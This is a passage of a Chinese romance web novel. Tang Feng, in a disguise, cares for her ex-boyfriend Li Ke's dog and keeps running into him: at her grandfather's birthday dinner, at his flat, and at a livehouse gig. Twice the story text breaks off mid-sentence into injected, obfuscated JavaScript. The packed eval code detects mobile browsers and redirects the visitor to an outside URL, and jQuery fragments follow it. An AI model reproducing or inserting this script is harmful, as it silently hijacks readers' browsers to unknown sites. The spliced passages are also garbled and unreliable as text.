唐枫“噌”地从椅子上站了起来,周围讨论戛然而止,所有人看向她。 叶正修:“怎么了小枫?” 唐枫:“……腿麻了,我出去走一圈哈。” 唐枫抱着手机小碎步跑离包房,简直快要没脾气了。 大哥,你到底想怎么样,中元节死的女鬼也不带这么阴魂不散吓人的吧。 [不吃糖:怎么突然来忻市了?] 对面半晌没有发来消息,唐枫等得焦急,差点就想把电话打过去了。 良久后,李大老板才姗姗来迟地发来一个大字。 [No.:来?] 刚开始没看懂,想了两秒后唐枫吓得眼睛一下子睁大。 她只有本人在忻市,才会用“来”这个词…… [不吃糖:我不是说我今天去别的市么,就是忻市。] 既然李恪已经在忻市了,那么她这个时候在地点上撒谎没有任何意义,还有极大被拆穿的可能,稳妥起见唐枫还是选择了淡定地如实说——但只说一半。 谁规定她唐娇娇就不能有事来忻市了,忻市又不是只能有唐枫这一个姓唐的。 为了加重自己的底气,唐枫紧接着反问。 [不吃糖:你为什么千里迢迢带Maple来忻市?邯市的宠物医院不是很多么。] [No.:有认识的医生,免费。] 唐枫:…… 抠死吧你就。 [不吃糖:那免费医生怎么说?] [No.:没事。只是昨天家里矿泉水没了,Maple喝了生水肠胃不适应。] 本来Maple就肠胃敏感期怎么能给喂生水呢!唐枫下意识就想写小作文批判过去,但只打了两个字就删除了。 她现在是喂狗临时工,哪有临时工骂老板的,倒反天罡了。 而且唐枫在李恪家见过Maple喝的矿泉水,就是她之前挂闲鱼卖的那种牌子,正价一瓶60块。 哎,人不如狗。 [No.:现在从医院出来了。] [唐枫:哦。] 她不咸不淡地回复,如果不是顾忌还得叫李恪一声老板,她连这声“哦”都不想回复。 [No.:准备去吃饭。] 不用和我炫耀你准备吃什么满汉全席,对于现在的我来说丝毫没有压力,毕竟我刚才吃了两大只小青龙。 脑中如此,打字另番。 [不吃糖:嗯嗯。] [No.:有什么酒店推荐吗?] 吃我一拳你吃不吃? [不吃糖:我又不是忻市人,怎么会知道哪家饭店好吃呢?要不你搜一下附近的大众点评?] 又是半晌后没有等来回复,唐枫心说这货手机里不会连大众点评都没有吧,在这时,李恪发了个链接过来。 [No.:安和酒店(十年老店新装,江北路)] [No.:大众点评说这家好吃。] 唐枫默默抬头看了眼前台的牌子。 安和酒店(江北路) 救命。 SOS. FBIwarning. 夭寿了。 [不吃糖:这家不好吃,别去,真的,信我。] 一边回复,唐枫一边做二手准备——跑路。 慌乱之中不忘纠正自己下意识打出的“别来”。 [No.:你不是说你不熟?] [不吃糖:我听别人说的,这家卫生不好,厨房里蟑螂比老鼠大,厨师用袜子当抹布的!] 卫生问题是李恪的第一大忌,这招对他来说简直是绝杀。 但以防万一,还是先撤离案发现场比较好。 一只脚已经迈出酒店大门了,身后一道声音叫住了她。 “小枫,怎么散步散到这里来了,准备切蛋糕呢,爷爷让我出来叫你。”钟嘉敏看着唐枫的动作,眉毛一挑,“你不会是要跑吧。” “你说对了!”唐枫说,“我吃太撑了,必须跑两圈消化一下,你们吃蛋糕不用给我留,就这样,古德拜,撒有那啦,拜拜……” “小枫!”钟嘉敏又喊住了她。 “又怎么了!”唐枫急道。 “你今天见到我,有什么感觉吗?”钟嘉敏走近看着她。 唐枫说:“很美很贵气,优雅的一批。”就是腮红画错了。 钟嘉敏抬唇笑了一下:“但你好像变了很多。终于体会到那种不被命运眷顾,所有人都不再围着你转的感觉了吗?是不是很不好受。” 唐枫觉得自己还行啊,虽然钱没那么多,但父母健在,自己健康,还有一技之长,而且她还有要好的朋友和志同道合的伙伴,没那么不好受啊。 但为了快点跑路,唐枫只能迎合着她说:“对对对我现在特别难受,也能理解你当年为什么针对我,我认了我服输,就这样,拜拜。” “你是在讽刺我吗?” 唐枫:“……”姐你到底想怎样! “我现在很急,没空和你拐弯抹角玩这套,要不你等我两个小时,我找个咖啡厅听你继续行吗?” 钟嘉敏:“你——” “汪汪——” 话被不远处传来的狗叫声打断,两人看向右侧门外。 一人一狗,狗兴奋地吐着舌头,被狗主人扯了下绳子闭上了嘴,露出了蔫蔫的表情。 狗主人望着他们,淡淡抬唇,“好巧。” 18. 鬼片 这是那晚后和李恪的第一次面对面。 虽然线上隔着两个屏幕唐枫还能假装自己已经忘记了那晚,和他正常说话,但真正再和这双眼睛对视,延迟的羞耻感瞬间扑面而来。 甚至盖过了马甲即将被揭穿的危机感和尴尬感。 好在,那晚的人是“唐娇娇”,不是她唐枫。 她第一次如此感激自己给自己套了个马甲,并更加坚定不移绝对不能露馅! 在她想着说句什么能显得自然又不失礼貌时,旁边一道甜兮兮的声音开了口:“好巧啊。” 偏过脸去,钟嘉敏的神色简直可以用国泰民安来形容,如此磅礴大气从容不迫。 “你也来这吃饭啊。”钟嘉敏弯着眼睛笑起来,“刚才还和爷爷说起你呢,没想到说曹操曹操就到,你是在这附近有通告吗?” 好强大的心理素质,唐枫在内心感慨,如此意味不明暧昧不清的一句话,如果她不了解面前两人的话,真的以为他们关系不一般了。 不过也好,钟嘉敏如果能转移了李恪的注意力,那她的羞耻和尴尬也能少一点。 心里甚至暗为钟嘉敏加了个油,唐枫蹲下朝Maple招了招手,Maple立刻屁颠屁颠地甩开绳子朝唐枫跑过去。 钟嘉敏见此愣了一下,脸上却还是维持着微笑,“你一个人过来的吗?要不要——” “唐枫。”李恪看都没看她一眼,径直朝向唐枫,“说话。” 唐枫装死蹲在地上和Maple互动,Maple也很配合地挡在她身前,兴奋地跺着大脚一个劲儿地蹭她。 一声清脆的口哨声。 Maple动作忽然一停,然后歘地立正站好,转身朝李恪跑过去,乖乖站在他腿边一动不动。 留唐枫一个人蹲在地上,手还保持着搂着Maple后背的状态虚抬着。 她吞了下口水,还没来得及说话,身后又是一道声音:“怎么半天不回来,干嘛去了这是。” 转头一看,竟然是外公等不到他们出来找了,寿星出门其他人自然也不敢干坐着,一个两个都跟了过来。 于是片刻间,门口齐刷刷站了一家子。 “叶阿姨好。”李恪向叶茵打招呼。 叶茵一偏头不带搭理的,臭小子移情别恋就算了,竟然还移到那家人身上了,是可忍孰不可忍! “这是?”叶正修问。 “这是谁应该敏敏介绍啊。”叶茵冷笑说。 钟嘉敏:…… 她强扯出一抹笑,“这是……李恪。” 叶正修再看向李恪,眼神立马变了,审视的目光点了点头:“是敏敏的男朋友啊。” 钟秋黎一看李恪的长相,两只眼瞬间比Maple还亮,“这就是小李啊,小伙子还真不错,配得上我们敏敏。” 叶霖打量了下,说:“人还是不能凭外表判断,我听敏敏说你也是歌手,大学在哪读的?是音乐学院?父母是做什么的?” “爸!”钟嘉敏走过去抓住叶霖的胳膊,“哪有人第一次见面就问这么多的,好啦你们先回房间,回头我再——” “我不是钟嘉敏的男朋友。” 李恪的声音不高不低,但震撼力极强,方才热闹成一锅粥的讨论一下子就停了下来。 而且局部地区震感明显,唐枫蹲在地上都能感觉到被一股无形的引力波冲了下。 不愧是李恪,连试图询问了解下情况的流程都不走,直接说,谁的面子都不给。 钟嘉敏呼吸屏了下,她扯了扯嘴角,向着一家人说:“我们其实还在互相了解的阶段,可能是我有些操之过急造成误会了。” 说完转脸背对家人,看向李恪,向他使了个眼色。 话说到这份上,稍微有点脑子的都知道现在是个什么情况吧,李恪已经答应好了和她合作,现在驳她的面子没一点好处。 但她太不了解李恪。 李恪:“我也没有进一步了解钟嘉敏的打算。” “而且,”李恪说着看向唐枫,“我有喜欢的人。” 这个眼神给的太明显,明显得像是把答案给出来了一样。 叶正修迷惑三人之间的关系,皱眉道:“小枫,这是怎么回事?” 唐枫扶膝慢慢站起来,“这个……就要说来话长了。” “你长话短说。”叶正修说。 “……短话来说,”唐枫只能坦白,“我和李恪以前交往过。” “他和小枫谈过,现在还来追你?”钟秋黎问向钟嘉敏。 钟嘉敏脸色僵硬,叶茵呵笑,“你没弄错吧,怎么看都是你们家敏敏追人家没追到吧。啧,我们家小枫不要的都不要你们,还整天以为自己是个什么人物呢。” 钟秋黎指着叶茵,气得手指头发颤:“你什么意思!” 叶茵:“字面意思呗。” “行了。”再次被叶正修打断,他整肃的眼神看向李恪,“就是说,你以前和小枫耍朋友,现在想重新追她?” 李恪没有立刻回答,反倒看向唐枫:“是这样吗?” 唐枫无语又心虚:“……这是你的事我怎么会知道。” 李恪说:“没有。” 视线仍旧看着唐枫,一字一顿道:“我喜欢的女孩,叫唐、娇娇。” “唐娇娇?”叶茵觉得这名字耳熟,问唐枫:“你认识吗?” 唐枫微笑,从牙缝里挤出来三个字:“……不认识。” “改天可以介绍你们认识。”李恪说。 唐枫:“……” 谢谢,但不用了。 如果你介绍成功,就是鬼片了。 现场氛围一片尴尬,唐枫甚至觉得自己最初的那点小尴尬都被大环境冲淡了,而罪魁祸首却还仍旧云淡风轻。 李恪:“那就不打扰你们吃饭了。” 说完一拽绳,带着Maple走了。 一家人望着这潇洒的背影:刚才发生了什么? 唐枫:李恪来这儿干嘛来了? 返回的路上,叶茵终于想起来了,“唐娇娇?这不是你小学时候写的言情小说的女主名么,金发蓝眼万人迷,会八国语言,高冷霸总和黑\道少爷为了她争风吃醋,打架还踢伤了一只驴蹄子那个?” 唐枫:“……叶女士,你记性有点过于好了,其实有些细节的东西可以不用记得这么清楚的。” 叶茵感慨:“怎么这么巧呢你说。” 唐枫:“谁知道呢,世界就是很小。” 两侧廊灯将她的影子抻成了一道细绳,唐枫数着鞋跟叩击地面的回响,好像是她和李恪越走越远的声音。 - 第二天,“唐娇娇”准备前往麓湖墅上班。 比起前天的突然事件,这次这个有准备的仗让唐枫反倒多了几分焦虑。 她出门前化妆化了一个半小时,总觉得自己的状态和车展那天的唐娇娇不太一样。 但具体哪里不一样她又想不明白,从发型到睫毛美瞳想了一圈,最后总结到服装上。 肯定是那天那件破羽绒服的缘故,很凸显她打工女王的气质。但房间里找了一圈都没找到,门开着客厅里的叶茵问她找什么呢。 “羽绒服啊,棕色那件,你不爱穿我接盘的那件。”唐枫说。 “哦,被我扔了。”叶茵说。 “扔了?”唐枫从房间里跑出来,“你扔了干嘛?” 叶茵:“都破成那样了,我还没问你呢,你穿这件衣服去参加地道战了?” 唐枫:“……还能穿啊,春天暖和点当普通外套穿。” “得了吧,穿坏衣服是会有坏运气的。”叶茵幽幽道,“你房间那件新的不挺好的么,还是nobis的。” 说到这,叶茵放下手头的手机,忽然八卦地趴在沙发椅背上看着她:“谁送你的?这衣服可一万多,不是你自己买的吧。” 一万多!! 不愧是李恪,手笔一如既往的大方。 这下真成了她赚他便宜了。 “高仿的,义乌发货。”唐枫说,套了外套准备出门,“我去工作了,你中午记得吃饭。” 叶茵在后头笑了声,“高不高仿我还看不出么,女大不中留啊。” 化妆耽搁了会儿,到达麓湖墅的时候已经比约定的时间晚了半小时,唐枫路上给李恪发消息,李恪没回。 唐枫很担心,不会给她扣工资吧。 带着忐忑,唐枫从门卫处领了李恪提前留在那的门禁,刷卡上了电梯。 进门后,李恪没出现,Maple却是扑了上来。 “哎呀呀呀谁家的小Maple这么可爱啊,妈妈想死你了!”唐枫见到Maple兴奋,脱口而出。 说完脑子嗡的一下,完了,如果被李恪听见就全完了。 “你说什么?”这时从厨房走出一人。 “我——”唐枫刚要解释,看到出来的人后松了口气,“橙子你怎么在啊,不是休假了么。” 橙子戒备地盯着她:“你是谁?” 唐枫才想起来橙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15049699|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子没见过她的唐娇娇时候,于是解释:“那什么,我是Candy呀。刚做完上一个兼职,还没来得及卸妆。” “Candy?”橙子不信,“私生饭搞找人代替面试那一套是吧?” 唐枫:…… 换个角度想,也说明她伪装得非常成功了。 她拿出身份证给橙子,又把假发掀出一道小缝儿,“是真的吧。” 橙子确认完,看向她的眼神就更怪了,但表面却是没说,而是悄悄发了个消息给陈铮。 [橙子:铮哥,我觉得这个新来的遛狗的是特殊职业。] [橙子:「照片」] [橙子:她说她这身打扮是刚做完其他兼职没来得及卸妆,现在才上午不到十点,什么工作化这么浓的妆,还出工时间这么奇怪啊。] [铮铮铁狗:不能吧,那天见了一面,说话挺正常的。你也别乱猜了,对人家女孩子名声不好。] [橙子:我提醒你了哈铮哥,如果出了事别赖我。] “橙子,狗粮在哪?我先给Maple吃点。” 背后蛐蛐人总是心虚的,猛的听到唐枫的声音,橙子吓得手机差点扔出去。 橙子:“卫生间旁边的客房,那是Maple的房间,基本的东西都在那。” “啧,万恶的资本家!”唐枫咬牙切齿进了客房。 橙子又继续给陈铮发消息:[就算不是特殊职业,我觉得这人也有私心,我那会儿还听见她自称Maple的妈妈,又打扮成这样,而且很明显对李恪哥的钱很感兴趣。] [铮铮铁狗:……少八卦点吧。] [铮铮铁狗:让你给李恪送的速冻汤圆放好了吗?] [橙子:放好了,顺便买了几袋速冻饺子,冰箱都填满了。] [铮铮铁狗:……李恪不吃饺子,这种事上你就别自作聪明了。拿出来自己带回去吃吧。] [铮铮铁狗:蜜月带老婆好好休息吧,这边的事情暂时不用你管了。] [橙子:休不了了,过段时间老婆有面试,这几天得陪她去上个培训班。] 陈铮没再回橙子,橙子对着手机自嘲地笑了下,反正这些人也不是真心关心他的,混娱乐圈的,哪还有带真心来的。 “对了,李恪今天不在家吗?”唐枫喂完狗,从卧室出来说。 橙子正从冰箱里拿出饺子走出来,下意识解释自己的行为:“我不是偷东西,买错了,李恪哥不吃这个。” “哦,我知道。”唐枫很快接话。 橙子暗道,还说不是私生饭,李恪不吃饺子这事他以前都不知道。 是私生就是私生吧,橙子又想,反正和他没关系。 “李恪去哪了?”唐枫又问了遍。 橙子说:“专辑定向啊,这个你不知道吗?” “我上哪知道。”唐枫莫名其妙,她感觉这个橙子说话奇奇怪怪的,她没惹他吧。 “不知道就不知道吧。”橙子说,“我走了,你……随意吧。” 唐枫看着橙子的背影一头雾水,难不成是觉得她抢了他的活?可明明就是他请假她临时代班啊。 想不通就不想了,唐枫不为难自己,她给Maple戴上牵引绳,揣了几个捡屎袋,开开心心出门了。 一直到唐枫带Maple回来都没见过李恪,也没收到他的回信。 给Maple擦完脚,喂了瓶水后,唐枫又给Maple拍了张照片。 [不吃糖:Day1早,工作已完成。Maple今天拉了很大一泡粑粑,不干不稀,还和小区一只叫CoCo的陨石边牧交了朋友,愉悦值+1。汇报完毕。] 刚要收起手机,就收到了No.的回复。 [No.:你不知道吗?Maple和CoCo是情敌。] [不吃糖:……可CoCo是公狗。] [No.:你歧视少数性取向?] [不吃糖:…………] [不吃糖:「小狗歪头问号.gif」] 怎么这么好逗呢,李恪对着小狗表情包笑了下,下一秒被陈铮捣了下胳膊,他抬眼,看到对面Evan面色不悦地看着他。 讨论白热化到这种程度,彼此态度僵持不下,气氛本就不愉快,不差他这一个越矩行为。 李恪抬了抬手机,“不好意思啊,回个重要消息。” 另一边,唐枫已经走到了电梯口,又收到了李恪发来的消息。 [No.:晚上晚点来吧。在家等我。] 19. 不争气 [不吃糖:什么晚上在家等你,你说清楚点,饭可以乱吃,话不能乱说啊!] [不吃糖:我卖艺不卖身的我没和你说过吗?你把我当成什么人了!] [不吃糖:晚上9点后9倍工资,你可别忘了。] 三条消息发出去,再次如同石沉大海,李恪没有给她回复。 百十公里远的录音室里,调音台上三杯化掉的冰美式折射着LED屏幕的蓝光,Evan将平板转向李恪,触控笔敲了敲模型里不断膨胀的数据气泡。 是番果音乐平台实时飙升的EDM(电子舞曲)榜单音乐。 Evan:“近两年的下沉市场需要听觉安全区,单一,重复,上头,公式就这么简单。成功案例放在这,我想不明白你为什么一定要和我唱反调。” 李恪不咸不淡地望了他一眼,“是我在唱反调吗?” 在陈铮找到Evan之前,李恪的专辑已经写好了两首主打歌,但Evan一听demo就说这个类型火不了,最好的情况是卖好不卖座,让他推翻重新定主题。 “Dreampop是吧?你告诉我国内有谁在做?又有谁做成功了?” Evan触控笔在手里转着,李恪瞥了眼他没给他回应。 话说到这里,已经没有什么委婉可言了,Evan接着道:“大哥我们是做音乐不是做梦,如果你坚持要这么理想主义,那最后的结果只能是一群人陪着你赔本赚吆喝。” 话说到这份上,陈铮也不得不出来打个圆场,“其实情况也没到这种程度,上个月李恪在地下livehouse试演过新曲,油管自来水切片播放量已经破10万了……” 陈铮瞥见Evan冷下来的脸,又把话止住了。 Evan滑着平板又调出个歌单,“你知道现在短视频BGM的平均留存时长吗?两三秒定生死,谁有时间听你那些四分钟以上的长叙事曲……” “哗——” 一道潮汐采样混着黑胶唱针接触盘面的沙沙声从MIDI键盘后出现。 李恪推着按钮,略抬眉,“熟悉吗?” Evan一瞬间失神,随后脸色更差。 这是Evan二十年前出道时制作的首张专辑的前奏。 李恪说:“我记得你的出道专辑是citypop,这也算大众吗?” Evan沉默了几秒,说:“所以这张专辑把我所有的存款全部赔光了。” “那你后悔做这张专辑吗?” Evan冷眼看着李恪,他抬手拿起冰美式喝了一口,被暖气烘热的冰美式带着发酵似的苦涩,他咽了下去,说: “后悔。我这辈子都不会再做一首没人听的小众音乐,如果你还坚持,那就另请高明吧。” 还剩了点底的冰美式纸杯被扔进垃圾桶,发出“咚”的一声钝响。 陈铮赶紧又圆场把话题转移了出去,他们讨论了上市规划,视觉设计和发行渠道,就是避开了最重要的风格问题。 Evan的那首被他以黑历史视之的单曲还在李恪的歌单里。 他也并不是谁都合作的,至少当年的Evan还不是如今张口闭口侃侃而谈“市场”二字的,真正的音乐人。 李恪靠着椅背看着他们讨论,Evan当年也是脖颈刺青音符的机车少年,如今刺青已经被高领衬衫遮起,也许对他而言只是过期理想在皮肤上篆刻的墓志铭。 …… 唐枫的妆没有白化,她临时救场了一个成人|玩具会展,结了六百工资,回去的时候主办方还送了她一套样品。 “……这个……就不用了……”唐枫的厚脸皮在小天鹅玩具面前溃不成军,连忙摆手,“我没有这方面的需求。” 主办方副总是个三十几岁的姐姐,唐枫认识她是在几年前,姐姐那时候还不是副总只是普通职工,脚后跟被磨破还是卖力走着介绍用品,唐枫送了个创可贴给她,两人就此认识。 唐枫以为自己在迈入30岁的路上,会自动变成姐姐这种美艳强大的女性,事实是她还是她,24岁和18岁时没什么变化,就像她的身份证号码一样稳定持续伴随终生。 不过也没什么不好,没人规定女性只有一种精彩的方式。 副总姐姐饶有兴味挑挑眉,肩膀撞了下唐枫的,“怎么,什么时候有男朋友的?” 唐枫:“……还……没有。” “那就带个‘男朋友’回去啊,比真男人好用多了。”姐姐说,“况且就算有男朋友了留着也没什么,大部分男的就只会自己享受,真正的快乐还是得靠自己。” 唐枫脑海里不由自主地闪过那天晚上的画面,李恪好像并不是她说的那种“大部分男的”,相反,他的主动带着很优质的服务性…… 愣神间,手里多了一个小天鹅。 “手机上给你发使用视频哦。”姐姐抛了个意味深长的媚眼,留唐枫一个人在风中凌乱。 唐枫闪过一瞬把小天鹅挂闲鱼的心思,但一秒被自己否决。 无论如何这都是别人送的礼物,把礼物卖掉就太有失礼节了。 但带着小天鹅回家就有礼节了吗?有没有人管管大龄单身和父母同住人士的死活啊! 唐枫拆了外包装盒把小天鹅放进挎包里。 回家后一定要放在柜子最里面藏起来,虽然老唐从来不在她不在的时候进她屋,叶女士又几百年不打扫一次房间,但保不齐有什么意外时刻。 这么盘算着,唐枫走出大楼,一出门外面竟然已经全黑了。 低头一看手机。 woc!九点了! 室内常亮的灯就像给驴蒙眼的布,让牛马不知时间为何物。 连忙点开微信,除了雪莉转发的几个抖书短视频,和老唐问她晚上还回不回去吃饭之外,李恪竟然只有两条消息。 半小时前,他发了个地址给她。 [No.:来这。] …… 和Evan的会结束时天色已经很黑了,后半程的讨论倒是愉悦,陈铮发挥了他把死的吹成活的本事,一顿画饼把制作人兼投资人的Evan哄得满面红光。 两人已经约定好一会儿去小酌一杯,提前庆祝即将上市的爆款。 “我不去。”李恪收拾自己的东西起身。 Evan这会儿被哄得心情好,自然语气也好了不少,调侃了句,“这么晚了不和我们出去,不会是佳人有约吧。” “嗯。” “哦?谁啊?”Evan感兴趣起来。 陈铮笑着打断:“他还佳人有约呢,这个点儿家里只有狗和他有约。” 两人对视哈哈笑起来。 “夜色我定了包间,还有几个音乐人一起,今晚你不回去家里那位没意见吧?”陈铮向Evan说。 “小酌可以,但夜不归宿还是会跪榴莲的。”Evan自嘲笑笑。 “要不都说成功的男人都爱老婆呢。”陈铮捧场,又看了下手机,“现在时间也不算晚,喝几杯没问题,我叫了车,三分钟到。” 陈铮把车钥匙给了李恪,把他往车库方向送了几步,离开Evan范围,陈铮说:“去见唐小姐?” 李恪一抬眉,有些惊讶。 “我怎么猜出来的是吧?”陈铮笑了下,“橙子给我发了张照片,我一看这不就是那天车展上我联系人删的帖里那女孩么。你行啊你李恪,没想到你品味是这种的?” 李恪没打算瞒着,但也懒得解释,“说来话长,但我也不想长话短说。” “也挺好,”陈铮欣慰点头,“旧的翻了篇才能迎来新的篇章,你以前写的那些歌里的那女孩终于放下了,现在新人胜旧人,这周怎么也得给我交一首歌吧。” 李恪拿着车钥匙进了下车库的电梯,在电梯门关之前开口:“这又是另一个故事了。另外,交不了。” “哎你——” 陈铮的声音被关在电梯门外,钥匙在手里颠了两下,李恪拿出手机,发了条信息出去。 …… 地下livehouse潮湿的砖墙上爬满霓虹光斑,空气中漂浮着各种酒类和电子烟的气味。 唐枫站在吧台边扫了眼手机,屏幕上是她发给李恪的最后一条消息:“再不来我走了。” 屏幕上方的时间正式跳向10点,门口贴着的广告牌显示演出时间到10点半,唐枫觉得她是疯了才会在这等了李恪这么久。 她拿起手机准备最后给李恪发条消息就走,一杯鸡尾酒从吧台后推了过来,唐枫抬头,酒保下巴指了指她旁边,一个锡纸烫男在她旁边坐了下来。 “妹妹,看你很久了,一个人过来看演出?结束后再一起喝一杯啊。” 她没理会,从吧台椅上起身。 胳膊被锡纸烫拽住,这人挑着单侧眉邪魅一笑:“怎么不理人呢妹妹,装矜持啊。” “你多大?” “……什么?”锡纸烫一时没反应过来。 “我问你多!大!”背景音乐刺耳,唐枫抬高音量。 “21。”锡纸烫促狭笑着,“不止是年龄。” 唐枫回忆了下:“我生前也和你差不多大。” 锡纸烫表情一僵,“你什么意思?吓唬我啊。” “吓你干嘛,有几百年没人和我说过话了。”唐枫亲切道,“你是第一个。” 锡纸烫脸上的肌肉跳了两下,他本能上觉得这话鬼扯,可唐枫的神情太真实了,加上酒精软化四肢,他觉得腿有点抖。 唐枫低了低头,从口袋里拿出补妆口红握在手心朝眼角抹了一下,再抬头,挂着猩红“血迹”的眼睛直愣愣盯着锡纸烫,嘴角缓慢咧出一抹笑,“弟弟,你是要陪我吗……” 音箱里恰到好处地迸出一道刺耳的啸叫,锡纸烫“嗷”地一嗓子,撒腿跑出了门口。 唐枫痛痛快快笑了一顿。 这锡纸烫要做噩梦就去怪李恪吧,谁让他放她鸽子让她有气没地方撒呢。 心情愉悦,唐枫脚步迈出,这时台上演出换人,灯光骤然暗下,四处漆黑,唐枫的脚步顿了下。 在这时,黑暗中传来合成器的嗡鸣,有些像是深海鲸鱼的唤叫。凌乱的漫射光打在舞台中央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15056073|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一道身影在纷乱中出现。 利落的黑色短发垂在额前,台上的人脸上戴着半截黑色面罩,金属质地,和他身上的铆钉契合,透着处处愈矩的锋芒。 那人眉眼几乎被全遮,唐枫看着他,心脏却倏地跳漏了半拍,而后被淹没在迷幻的音墙中。 他只唱了一首歌,时长超出普通歌,但唐枫却觉得太短。 她在视频里看过很多次他的演出,各种角度各种切片,就是没有一次是在现场。 有一回他的演出就在她兼职的隔壁场馆,她真的差一点就去了,就差那么一点。 可她那天扮的是女仆。 手机屏幕再次亮了一下,又是言简意赅的一句话。 [No.:来后台。] 李恪打了招呼,唐枫走到后台一路通畅,后台一片凌乱,没什么单独化妆间这种说法,墙上贴着褪色的乐队海报,器材乐器铺了一地,演出服有的挂在衣架上,有的躺在椅子上。 一群人正吵嚷着出门喝酒结伴朝外走,她同这群人擦肩而过,扛着吉他包的人经过唐枫,她下意识朝后避开了一下。 却差点被地上一根乱扯的电线绊到,脚下一崴,身后一只手拉住了她的手腕。 这本来该是个极其浪漫的画面,昏暗的灯光下脚下旋转,公主抱啊扑到他怀里仰视着他锋利的下颌线啊什么的。 但经历了吧台搭讪那一出,唐枫的全体警觉细胞被唤醒了许多,其中不乏初中深耕三个月的跆拳道细胞。 于是乎,她抓住对方伸过来的手,拽着胳膊往下一拉,即将来个你死我活的过肩摔。 幸好李恪反应快,在唐枫马步一扎时就察觉到了她的招数,胳膊顺着她的力道向下一滑,唐枫反倒被他闪了一下,整个人换了个方向朝后跌去。 然后就这么跌到了李恪怀里。 幻想中的偶像剧情节以另一种形式上演,但故事的男主神色好像并没有那么深情。 “索魂去了?”李恪俯视着她,胳膊拢在她的腰后,唐枫能清晰地感知到他一起一伏在呼吸着的胸膛。 唐枫想要挣扎起身,但发力支点受到掣肘,她被牢牢控制在李恪的掌握之下,笼罩在他的气息中。 他和平常完全不一样,比媒体下的他更锋利,比她曾经认识的他更乖张,唐枫感觉自己的心跳声快要暴露她了。 “放开我!”再次挣扎。 李恪像得到了什么乐趣,手下的力道反倒收紧了些,就这么维持着这个姿势,问她:“歌怎么样?” “你先放开我。”唐枫说。 “如果不放呢?” “那我就不说!”唐枫咬牙切齿。 李恪一笑,“那就不说了。” 唐枫算是懂了,她现在已经完全不能用以前的印象来对李恪的行为进行推算。 以前被她训练得多好的啊,就算喜欢逗她,她多喊两句口令李恪也得乖乖照做,比Maple听话多了。 她慢吸了口气,一咬牙,脚下用力向下一踩。 闷哼了一声,李恪松开唐枫向后退了一步,皱眉看着唐枫:“还真下得去脚啊。” “谁让你耍流氓。”唐枫快速喘着气,心脏已经混淆了生气和心动,一个劲儿地扑通乱跳。 李恪转了下吃痛的脚尖,闻声抬眼看向唐枫,然后慢慢向她走过去。 “……你干嘛。”唐枫倒没在怕的,盯着向她逼近的李恪。 俯下|身来,李恪的脸距离她只有不到10公分的距离,乖戾的装扮携着压迫感搅动着唐枫的心脏。 她的视线不由自主落在他的嘴唇上,她很熟悉他的吻,多年前青涩的、带着少年冲动的,或者不久前那个迷乱的、滚烫热烈的吻。 他明明是强势的、冷淡的,可他的嘴唇那么柔软滚烫。 唐枫不争气地闭上了眼睛。 看不清内心是否在期待的那个吻没有到来,只有微凉的手抚在她的眼角轻擦了一下,拭去她未擦尽的口红印。 而后没有离开,而是顺势移到她的耳畔,捏揉了下她的耳垂。 滚烫的耳垂对他微凉的手反应热烈,唐枫感觉自己的半侧身体都跟着麻了一下。 她缓慢睁开眼睛,面前好整以暇的李恪显得面红耳赤的她过于败下阵来。 唐枫强装淡定:“你的妆化得真差。” 李恪看着她,“你来改改?” “但歌不错。” 李恪的表情停顿了下。 唐枫回忆起方才,说:“有种深海里鲸鱼游动呼唤的感觉,光线忽明忽暗,偶尔涌出一些暗流推着人往更深的地方沉……当然我不是专业的哈,随便乱说的——” 余下的声音被截停在唇边,骨节分明的手捧上她的脸,湿润的吻侵略性地落了下来。 天地一片眩晕,意识仿佛沉浮于深海,似乎是隐忍已久的、蓄势待发的吻,唐枫感觉自己即将被拆吃入腹。 她挣扎着将自己从沉沦中拔出来,一把推开紧锢住她的人,然后下一秒一抬手,一个巴掌甩了出去。 “李恪你又问都不问就亲人!!” 20. 抖M 唐枫怒气冲冲地瞪着李恪。 李恪抬手指节擦了下被唐枫巴掌扇过的左脸颊,抬眉:“又?” “上次是什么时候?”他问。 唐枫:…… 他睁着一双平波无澜的眼睛望着她,轻淡的一句话,衬得气急败坏的她似乎才是那个做了坏事的人。 可明明向她伸出手的是他,把手指伸进她的是他,渴要她的人还是他。 可是,可是……清醒的是她。 深吸一口气,唐枫说:“李恪,你是不是喜欢我。” 顿了一下,他说:“不够明显吗?” “你喜欢我什么?”她说,“因为我和那个你曾经认识的人长得像吗?那你喜欢的到底是她,还是我。” 她自己都不明白为什么要问这个问题,唐枫是她,唐娇娇也是她,无论李恪喜欢的是谁,无论他是不是因为“唐枫”而喜欢“唐娇娇”,他喜欢的都是她。 可是不是这样的。 如果他真的还在喜欢唐枫,那他就不会喜欢上唐娇娇,如果他喜欢的是唐娇娇,那他就是彻底忘记了唐枫。 她看过那么多霸总小说,唯独看不下替身文学,如果喜欢是可以从一个人身上复制到另一个人身上的话,那只能说明,他谁都不喜欢。 门外喧嚷着观众散场声,推拉座椅声,在李恪开口前,唐枫打断了他。 “我不想知道你的答案。” 她转过身,大步流星朝着人群扬长而去。 在人群彻底散去前,唐枫融入了其中,像一个普通的观众或者粉丝,没人看出她的异常,她也的确,和这些来看演出的人没什么差别。 “靠,最后一个歌手帅死了!Echo什么时候来了这么个人,台风像专业歌手似的。” “脸都没看到你就说帅。” 